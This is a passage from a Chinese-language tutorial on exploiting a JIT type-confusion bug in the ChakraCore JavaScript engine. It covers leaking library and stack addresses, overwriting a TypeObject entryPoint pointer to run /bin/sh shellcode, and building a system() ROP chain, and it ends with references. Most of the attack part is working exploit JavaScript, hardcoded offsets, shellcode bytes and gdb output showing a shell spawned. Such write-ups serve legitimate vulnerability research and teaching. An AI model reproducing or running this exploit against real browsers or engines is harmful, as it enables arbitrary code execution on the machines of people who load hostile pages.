[*] read data from 0x7efca3d791c0:0x7efca312c960
[*] leak chakra.so base addr:0x7efca2fa1000
[*] read data from 0x7efca3dc26e0:0x7efca5a67070
[*] leak libc base addr:0x7efca59d0000
[*] write data to 0x7efca3dc2108:0x7efca5a1f440
... ...
process 19811 is executing new program: /bin/dash
$ uname -a
[New process 20210]
process 20210 is executing new program: /bin/uname
Linux kali 4.18.0-20-generic #21~18.04.1-Ubuntu SMP Wed May 8 08:43:37 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
$

可以发现程序成功调用了system函数。

需要注意的地方

在读取libChakraCore.so GOT表中关于libc.so函数的地址时,比如起初读取的是GOT表中的read函数:

pwndbg> r
[*] read data from 0x7f68263e9548:0x7f6828f3c340
pwndbg> telescope 0x7f68263e9548 0x50
00:0000│   0x7f68263e9548 (GOT+1352) —▸ 0x7f6828f3c340 (read)
... ...
33:0198│   0x7f68263e96e0 (GOT+1760) —▸ 0x7f682808e070 (malloc)
pwndbg> vmmap 0x7f6828f3c340 <-- read函数实际上是libpthread.so里的函数
  0x7f6828f2b000     0x7f6828f45000 r-xp   1a000 0     /.../libpthread-2.27.so
pwndbg> vmmap 0x7f682808e070 <-- malloc函数实际上是libc.so里的函数
  0x7f6827ff7000     0x7f68281de000 r-xp   1e7000 0     /.../libc-2.27.so
pwndbg>

可以发现GOT表中read函数链接的是libpthread.so里的函数,而malloc链接的才是libc.so里的函数,因此如果我们想要得到libc的基地址,只能去读取malloc才行。出现上述现象的原因是,chakra运行时调用了某些libpthread中的函数。

2. 修改entryPoint劫持执行流

还记得前面伪造DataView时学习的chakra的对象结构吗?这里我们就要用到对象结构中的知识点。从前面基础知识可知,一个JavaScript DataView对象包含8个成员变量:

DataView对象结构
[0] vtable指针
[1] TypeObject指针
[2] Dynamic Object Content
[3] Dynamic Object Content
[4] buffer size
[5] ArrayBuffer Object指针
[6] byteoffset
[7] 目的缓冲区地址

其中第二个成员变量TypeObject指针指向了一个代表该对象类型的结构体:

TypeObject对象结构
[0] TypeId
[1] JavaScriptLibrary
[2] Prototype
[3] entryPoint <– 函数指针
[4]PropertyCache

这里需要注意TypeObject+0×18位置的entryPoint函数指针。只要拥有该指针的JavaScript对象被当做函数调用时,这个函数指针就会被调用。假设我们定义了一个对象var f = [],只要我们在JavaScript中执行f()将f作为一个函数执行,那么它内部的entryPoint指针就会被调用。正常情况下f并不是一个函数,因此会报TypeError: Function expected错误,但entryPoint指针已经被调用了。

那如果我们把这个entryPoint指针替换为shellcode的地址,那不就可以执行我们的shellcode了吗?当然,这是可行的!

在最后付诸实施之前,我们还得解决一个问题。虽然我们通过类型混淆漏洞可以获得shellcode的内存地址,也可以通过任意地址写原语将entryPoint指针修改为shellcode内存地址,但首先需要确保shellcode所在内存是可读可写可执行的。

比较幸运也比较奇怪的是,chakracore默认编译时,会把所有的js对象放在一个可读可写可执行的内存页上。这给我们提供了很大的便利。比如我们通过前面漏洞泄露了一个shellcode数组的内存地址:

var shellcode = [1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0];
var shellcode_addr = 0x0;
function opt(arr, s) {
   arr[0] = 1.1;

   if (s !== null) {
       let tmp = 'a'.localeCompare(s);
  }

   arr[0] = 2.3023e-320;
   fake_object_array_addr = f2i(arr[1]);
   arr[1] = i2f(fake_object_array_addr + 0x58);
   shellcode_addr = f2i(arr[2]);
}

var arr = [1.1, 2.2, 3.3, 4.4];
// JIT优化
for(let i=0; i < 10000; i++)
{
   'a'.localeCompare('x', []);
   opt(arr, null);
   try{
       opt(arr, {toString: () => {
           throw 1;
      }});
  }catch(e){
  }
}

// 触发漏洞
try{
   opt(arr, {toString: () => {
       arr[1] = fake_object_array;
       arr[2] = shellcode;
  }});
}catch(e){
}

print("leak shellcode address: " + hex(shellcode_addr));

我们就能泄露出shellcode数组对象的内存地址了,gdb中调试如下:

pwndbg> r
... ...
leak shellcode address: 0x7f5ddd3c7b40
pwndbg> vmmap 0x7f5ddd3c7b40
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
   0x7f5ddd3b8000     0x7f5ddd3c8000 rwxp    10000 0      
pwndbg> x/8gx 0x7f5ddd3c7b40+0x58
0x7f5ddd3c7b98: 0x3ff0000000000000 0x4000000000000000
0x7f5ddd3c7ba8: 0x4008000000000000 0x4010000000000000
0x7f5ddd3c7bb8: 0x4014000000000000 0x4018000000000000
0x7f5ddd3c7bc8: 0x401c000000000000 0x00007f5ddd40d820
pwndbg>
可以看到shellcode数组所在内存页默认是可读可写可执行的,另外根据前面数组对象的内存布局,+0×58位置就是数组内容所在内存,我们只要将这块内存修改为shellcode就行了。
write64(shellcode_addr+0x58      , 0x0000485299583b6a);
write64(shellcode_addr+0x58+6   , 0x00006e69622f2fbb);
write64(shellcode_addr+0x58+12   , 0x00005f545368732f);
write64(shellcode_addr+0x58+18   , 0x0000050f5e545752);

let type_object_addr = read64(shellcode_addr + 0x8);
let entry_point_ptr = type_object_addr + 0x18;

write64(entry_point_ptr, shellcode_addr+0x58);
shellcode();

如上所述,最后将shellcode当做一个函数调用就可以触发shellcode调用了,gdb调试结果如下:

pwndbg> c
Continuing.
[*] write data to 0x7f97a4027b98:0x485299583b6a
[*] write data to 0x7f97a4027b9e:0x6e69622f2fbb
[*] write data to 0x7f97a4027ba4:0x5f545368732f
[*] write data to 0x7f97a4027baa:0x50f5e545752
... ...
process 29374 is executing new program: /bin/dash
$ uname -a
Linux kali 4.18.0-20-generic #21~18.04.1-Ubuntu SMP Wed May 8 08:43:37 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
$

这里需要注意的是,我自己实现的write64只能最多写6个字节,估计还是和上一篇v8漏洞利用遇到的FloatArray不能写高地址的问题类似,因此在写shellcode时,最多每次写6个字节。

备注:chakracore中没有讲解webassembly的shellcode触发方式,是因为自己在调试时发现chakracore生成wasm对象后并没有像v8一样多出来一个RWX内存页。自己也没找到wasm对象生成的处理指令所在位置。但幸运的是,存储js对象的内存页本来就是RWX属性,entryPoint指针直接满足了我们的需求。如果有会wasm调用shellcode的大佬,恳请指点一下,感激不尽。

3. 高级:泄露environ变量劫持栈构造ROP

这里算是补充之前学习堆利用时没学到的一个知识点吧。

在libc.so.6中,有一个全局变量environ,该变量位置存储了程序运行之后整个栈的基地址。因此,在泄露libc地址后,很容易通过读取该全局变量获得程序的栈基址。

根据对栈的理解,每次调用一个函数,程序都会将当前函数的下一条指令地址压入栈中。栈基地址位于高地址,那么低地址处肯定是程序运行过程中的整个栈空间,在某些地址肯定存储着自程序运行以来所有的ret返回地址。因此只要我们修改其中一个ret返回地址,就可以构造我们想要的ROP了。利用思路如下:

泄露栈基地址

篡改某个返回地址为system函数的ROP

笔者在libc2.27中environ全局变量的偏移如下:

.bss:00000000003EE098 environ

与前面第一种方法类似,泄露栈基地址的js语句实现如下:

let vtable_addr = read64(fake_object_array_addr);
let chakraso_func_addr = read64(vtable_addr);
let chakraso_base_addr = chakraso_func_addr - 0x18B960;
print("[*] leak chakra.so base addr:" + hex(chakraso_base_addr));

let chakraso_got_malloc_addr = chakraso_base_addr + 0xE216E0;
let libc_malloc_addr = read64(chakraso_got_malloc_addr);
let libc_basse_addr = libc_malloc_addr - 0x97070;
print("[*] leak libc base addr:" + hex(libc_basse_addr));

let libc_environ_addr = libc_basse_addr + 0x3EE098;
let stack_base_addr = read64(libc_environ_addr);
print("[*] leak stack base addr:" + hex(stack_base_addr));

gdb中调试结果如下:

pwndbg> r
Starting program: Release/ch exp.js
leak fake_object_array address: 0x7f0afe64c140
[*] read data from 0x7f0afe64c140:0x7f0afaf401c0
[*] read data from 0x7f0afaf401c0:0x7f0afa2f3960
[*] leak chakra.so base addr:0x7f0afa168000
[*] read data from 0x7f0afaf896e0:0x7f0afcc2e070
[*] leak libc base addr:0x7f0afcb97000
[*] read data from 0x7f0afcf85098:0x7fffc03cf670
[*] leak stack base addr:0x7fffc03cf670

此时以该地址为基地址,查看低地址处的内容:

pwndbg> telescope 0x7fffc03cf670-0x200 0x100
0f:0078│   0x7fffc03cf4e8 —▸ 0x55e2753d57db (main+1563) ◂— mov   r15d, eax <-- 这里存储着一个返回地址
10:0080│   0x7fffc03cf4f0 —▸ 0x7fffc03cf658 —▸ 0x7fffc03d00aa ◂— 'Release/ch'
11:0088│   0x7fffc03cf4f8 —▸ 0x7f0afcf87628 (__exit_funcs_lock) ◂— 0
12:0090│   0x7fffc03cf500 —▸ 0x55e27655f510 ◂— 0x55e27655f510
... ↓
1b:00d8│   0x7fffc03cf548 ◂— 0x0
1c:00e0│   0x7fffc03cf550 —▸ 0x55e2753d2e00 (_start) ◂— xor    ebp, ebp
1d:00e8│   0x7fffc03cf558 —▸ 0x7fffc03cf650 ◂— 0x2
1e:00f0│   0x7fffc03cf560 ◂— 0x0
... ↓
20:0100│   0x7fffc03cf570 —▸ 0x55e27541d550 (__libc_csu_init) ◂— push   r15
21:0108│   0x7fffc03cf578 —▸ 0x7f0afcbb8b97 (__libc_start_main+231)

发现在栈基地址-0×200+0×78处存储着一个main函数相关的返回地址,因此我们可以劫持这个ret返回地址构造system的ROP。具体步骤就是,先在堆中申请一块内存放上要执行的命令字符串,得到其地址;然后在上述ret地址处写一个pop rdi; ret的ROP,将命令字符串地址存入rdi,然后调用system即可。ret处的ROP布局为:

pop rdi; ret ROP地址
命令字符串地址
system函数地址

具体寻找ROPgadget的过程不再赘述,实现的js代码如下:

var command = [1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8];
var command_addr = 0x0;
// 这里省略了通过漏洞泄露command_addr的过程,具体见github附件内容
// ......
// write "/bin/sh\0" 自己可以修改为想要的任何命令字符串
write64(command_addr+0x58     , 0x6e69622f);
write64(command_addr+0x58+4   , 0x0068732f);
// 泄露栈基地址后,覆盖写为ROP
write64(stack_base_addr-0x200+0x78, pop_rdi_ret);
write64(stack_base_addr-0x200+0x78+0x8, command_addr+0x58);
write64(stack_base_addr-0x200+0x78+0x10, libc_system_addr);

如果现在你把之前的js代码组合在一起运行的话,恭喜你,和我一样踩了一个chakracore的大坑。

我们现在覆盖的是0x55e2753d57db (main+1563)这个栈地址,当程序执行到这里时,也就是chakracore已经解析完所有js代码了,它在这之前做了一件非常让我们非常“生气”的事情,它把存储js对象的内存页给unmap掉了:

pwndbg> telescope 0x7fffe6d049f0-0x200+0x78 <-- 覆盖返回地址后的栈空间布局
00:00000x7fffe6d04868 —▸ 0x7f8ed41ed55f (init_cacheinfo+239) ◂— pop    rdi
01:0008│   0x7fffe6d04870 —▸ 0x7f8ed5c7c238 ◂— 0x68732f6e69622f /* '/bin/sh' */
02:0010│   0x7fffe6d04878 —▸ 0x7f8ed421b440 (system) ◂— test   rdi, rdi
03:0018│   0x7fffe6d04880 —▸ 0x559de2d1b4f0 ◂— 0x559de2d1b4f0
04:0020│   0x7fffe6d04888 ◂— 0x2
05:0028│   0x7fffe6d04890 ◂— 0x7fff00000002
06:0030│   0x7fffe6d04898 —▸ 0x559de23fe780 —▸ 0x559de23fe7a0 
07:0038│   0x7fffe6d048a0 —▸ 0x559de07cb030 (PrintUsage()) 
pwndbg> x/s 0x7f8ed5c7c238  <-- 此时还可以正常访问存储js对象内存页
0x7f8ed5c7c238:	"/bin/sh"
pwndbg> c
......
Program received signal SIGSEGV (fault address 0x0)
pwndbg> x/s 0x7f8ed5c7c238  <-- 继续执行以后,发现存储js对象的内存页被unmap掉了
0x7f8ed5c7c238:	<error: Cannot access memory at address 0x7f8ed5c7c238>
pwndbg> vmmap 0x7f8ed5c7c238
There are no mappings for specified address or module.
pwndbg>

因此,我们需要重新从栈中找一个ret地址构造我们的ROP,并且需要保证程序运行到该ret地址时,仍旧在解析js对象才行。经过搜索,我们找到了栈基地址-0×900+0×88的栈地址,这里ret返回地址代表的是处理JS对象的一个函数,表明程序目前还没有释放存储js对象的内存页。因此这里是一个非常好的选择:

pwndbg> telescope 0x7ffcae366df0-0x900 0x50
00:0000│   0x7ffcae3664f0 —▸ 0x7ffcae366578 —▸ 0x7f57e2b82bdb (JsRun+315) <-- 思考:这里为什么不是地址呢?
... ...
0f:0078│   0x7ffcae366568 —▸ 0x7f57e6e2a0c0 —▸ 0x7f57e3762b40
10:0080│   0x7ffcae366570 —▸ 0x7ffcae366610 —▸ 0x7ffcae3668e0
11:0088│   0x7ffcae366578 —▸ 0x7f57e2b82bdb (JsRun+315) <-- 这里的ret地址
12:0090│   0x7ffcae366580 ◂— 0x0

具体修改偏移后,就能实现system调用了。

小技巧:这里大家可能会问如何找到栈基地址-0×900+0×88就是ret返回地址呢?一个小技巧就是,在breakpoint()下断点后,可以查看此时的EBP调用链,EBP调用链上每个内存地址+8的内存存储的都是返回地址。

RBP  0x7ffdca9791a0 —▸ 0x7ffdca979220 —▸ 0x7ffdca979250 —▸ 0x7ffdca9792f0 —▸ 0x7ffdca9793a0 
.....
pwndbg> telescope 0x7ffdca9793a0
00:0000│   0x7ffdca9793a0 —▸ 0x7ffdca9793d0 —▸ 0x7ffdca9797d0 —▸ 0x7ffdca9797f0 —▸ 0x7ffdca979800
01:0008│   0x7ffdca9793a8 —▸ 0x7f9ae4fef3be (Js::InterpreterStackFrame::Process()+302)
pwndbg> telescope 0x7ffdca979800
00:0000│   0x7ffdca979800 —▸ 0x7ffdca979820 —▸ 0x7ffdca9798f0 —▸ 0x7ffdca979910 —▸ 0x7ffdca979af0
01:0008│   0x7ffdca979808 —▸ 0x7f9ae52a3c8e (amd64_CallFunction+78)

另外,在构造system的ROP时,会遇到system函数内部以栈内存作为地址进行读写的指令,而很有可能栈在执行到ret地址之前就被清零了,从而造成内存访问异常。此时通过一些增加一些ROP改变栈布局,即可绕过这些限制。

比如,在我调试时,system函数内部需要将rsp + 0×40作为地址进行访问:

0x7f51cf48f2f6 <do_system+1094>    movaps xmmword ptr [rsp + 0x40], xmm0

而不幸的是,执行到这条指令时,rsp + 0×40被程序的正常流程给清零了,从而会出现内存访问异常。

Program received signal SIGSEGV (fault address 0x0)

此时rsp + 0×40处的栈空间布局为:

pwndbg> telescope $rsp+0x40
00:0000│     0x7ffd2bf66248 ◂— 0x0
01:0008│     0x7ffd2bf66250 —▸ 0x7fbc135dae9f

因此为了绕过这个限制,提前增加一个ret指令的rop使得$rsp+0×40加8,保证rsp + 0×40指向可写的内存地址。实现的js代码如下:

write64(stack_base_addr-0x878, pop_rdi_ret+1); // ret rop
write64(stack_base_addr-0x878+8, pop_rdi_ret); // pop rdi; ret rop
write64(stack_base_addr-0x878+0x10, command_addr+0x58);  // command str
write64(stack_base_addr-0x878+0x18, libc_system_addr);  // system address

0×09 总结

总结了N天,终于将chakracore的漏洞利用入门写完了。研究chakracore后最大的一点感触就是,这个研究过程解决了自己在学习v8漏洞利用中的很多误区,比如说对wasm的理解。还学习到了调试v8没学习到的利用方法,感觉收获颇丰。

文中涉及的chakracore程序和exp已存放在github上。如有错误,敬请斧正。

github地址:https://github.com/walkerfuz/writeups

0×10 参考

下面这些参考给我个人带来了很大帮助,建议喜欢的童鞋深入读一读。

[1] Chakra 引擎中 JIT 编译优化过程中的数组类型混淆漏洞分析 https://paper.seebug.org/768/

[2] Edge Type Confusion利用:从type confused到内存读写 https://www.anquanke.com/post/id/98774

[3] Edge Type Confusion利用:从内存读写到控制流程 https://www.anquanke.com/post/id/98775

[4] Chakrazy – exploiting type confusion bug in ChakraCore engine https://bruce30262.github.io/Chakrazy-exploiting-type-confusion-bug-in-ChakraCore/

[5] Mitigation bounty — From read-write anywhere to controllable calls https://medium.com/@mxatone/mitigation-bounty-from-read-write-anywhere-to-controllable-calls-ca1b9c7c0130

发表评论
拖动滑块验证
»
请先 注册/登录 后参与评论

已有0 发布

默认   热门   正序   倒序
    查看更多评论
    已有0次打赏